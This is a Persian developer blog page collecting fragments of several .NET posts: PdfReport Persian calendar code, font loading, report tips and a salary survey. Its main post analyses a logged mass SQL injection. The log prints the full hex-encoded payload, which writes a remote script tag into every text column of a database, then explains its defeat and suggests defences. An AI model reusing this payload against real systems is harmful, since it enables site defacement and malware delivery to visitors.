this.ModelState.AddModelError("","کد ملی را درست وارد نمایید") return View(model)
اعداد فارسی در گزارشات
یک نکته: (خصوصا در جایی که Font از نوع System.Drawing.Font مورد نیاز است؛ مثلا در حین تولید نمودارهای MS Chart)
اگر فونت مورد نظر بر روی سرور نصب نیست، به این صورت هم قابل بارگذاری است:
var privateFontCollection = new PrivateFontCollection(); privateFontCollection.AddFontFile(fontPath); var fontFamily = privateFontCollection.Families[0]; var font = new Font(fontFamily);
راه اندازی StimulSoft Report در ASP.NET MVC
درخواست همزمان گزارش
در FlushInBrowser ، نام فارسی دارای فاصله را صحیح اعمال نمیکند.
مثال:
"گزارش عملکرد کارکنان" میشود " گزارش "
مشکل با نوشتن تابع تجمعی سفارشی(از طریق پیاده سازی IAggregateFunction)
روزهای پایانی سال است و یکی از مهمترین دغدغههای برنامهنویسان و سازمانها این است که حقوق منصفانه آنها چقدر باید باشد و در بازار کار بصورت میانگین به برنامهنویسان حوزههای مختلف و با تجربیات متنوع چقدر پرداخت میشود؟ گزارش "جابویژن" با موضوع حقوق و دستمزد برنامه نویسان میتواند در این راستا راهگشا باشد. لازم به ذکر است که این گزارش براساس دادههای واقعی و از بیش از ۱۳۰۰ نفر از برنامهنویسان سطح کشور جمعآوری شده است.
فرض کنید اطلاعات حضور و غیاب کارمندان را به نحو زیر در اختیار دارید:
namespace PdfReportSamples.Models { public class UserWorkedHours { public int Id { set; get; } public string Name { set; get; } public int DayNumber { set; get; } public int Month { set; get; } public int Year { set; get; } public string Description { set; get; } } }
private static List<UserWorkedHours> createUsersWorkedHours() { var usersWorkedHours = new List<UserWorkedHours>(); for (int i = 1; i < 11; i++) { for (int j = 1; j < 28; j++) { usersWorkedHours.Add(new UserWorkedHours { Id = i, Name = "کارمند " + i, Year = 1391, // سال و ماه بر اساس نوع تقویم انتخابی مشخص میشود Month = i, DayNumber = j, Description = i % 2 == 0 ? "05:00" : "08:00" }); } } return usersWorkedHours; }
سلولی که قرار است قالب MonthCalendar را نمایش دهد نیاز به شیءایی از نوع PdfRpt.Calendar.CalendarData دارد که به نحو زیر تعریف شده است:
using System.Collections.Generic; namespace PdfRpt.Calendar { public class CalendarData { public int Month { set; get; } public int Year { set; get; } public IList<DayInfo> MonthDaysInfo { set; get; } } }
namespace PdfRpt.Calendar { public class DayInfo { public int DayNumber { set; get; } public int Month { set; get; } public int Year { set; get; } public string Description { set; get; } public bool ShowDescriptionInFooter { set; get; } } }
اکنون نیاز است تا اطلاعات منبع داده خود را به CalendarData نگاشت کنیم تا بتوان از آن در قالب سلول جدید MonthCalendar استفاده کرد. انجام اینکار با استفاده از امکانات LINQ به نحو زیر است:
public static IList<UserMonthCalendar> CreateDataSource() { var usersWorkedHours = createUsersWorkedHours(); // Mapping a list of normal Users WorkedHours to a list of Users + CalendarData return usersWorkedHours .GroupBy(x => new { Id = x.Id, Name = x.Name }) .Select( x => new UserMonthCalendar { Id = x.Key.Id, Name = x.Key.Name, // Calendar's cell data type should be PdfRpt.Calendar.CalendarData MonthCalendarData = new CalendarData { Year = x.First().Year, Month = x.First().Month, MonthDaysInfo = x.ToList().Select(y => new DayInfo { Description = y.Description, ShowDescriptionInFooter = false, DayNumber = y.DayNumber }).ToList() } }).ToList(); }
using PdfRpt.Calendar; namespace PdfReportSamples.Models { public class UserMonthCalendar { public int Id { set; get; } public string Name { set; get; } // Calendar's cell data type should be CalendarData public CalendarData MonthCalendarData { set; get; } } }
برای نمایش این اطلاعات توسط PdfReport، دو ستون اول یاد شده نکته خاصی ندارند، اما نحوه تعریف ستون تقویم ماهیانه آن به صورت زیر خواهد بود:
columns.AddColumn(column => { // Calendar's cell data type should be PdfRpt.Calendar.CalendarData column.PropertyName<UserMonthCalendar>(x => x.MonthCalendarData); column.CellsHorizontalAlignment(HorizontalAlignment.Center); column.IsVisible(true); column.Order(3); column.Width(3); column.HeaderCell("تقویم ماهیانه"); column.ColumnItemsTemplate(itemsTemplate => { itemsTemplate.MonthCalendar(new CalendarAttributes { CalendarType = CalendarType.PersianCalendar, UseLongDayNamesOfWeek = true, Padding = 3, DescriptionHorizontalAlignment = HorizontalAlignment.Center, SplitRows = true, CellsCustomizer = info => { if (info.Year == 1391 && info.Month == 1 && info.DayNumber == 1) { info.NumberCell.BackgroundColor = new BaseColor(System.Drawing.Color.LimeGreen); var phrase = info.NumberCell.Phrase; foreach (var chunk in phrase.Chunks) chunk.Font.Color = new BaseColor(System.Drawing.Color.Yellow); } } }); }); });
چند روز پیش داشتم لاگهای خطای یکی از سایتهایی رو که درست کردهام بررسی میکردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم میشود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
خروجی، عبارت زیر خواهد بود که به صورت استادانهای مخفی شده است:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آنها اسکریپتی را اضافه میکند. (آدرسهای فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)
این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم میشود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف میشود)
IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188
این آی پیها یا چینی هستند یا کرهای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هموطن" برای مثال).
حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کردهاند؟ چرا مستقیما عبارت sql را وارد نکردهاند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل میشود. برای مثال میشود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روشها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید بهخاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روشهای صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آنها را در کتاب فارسی زیر میتوانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197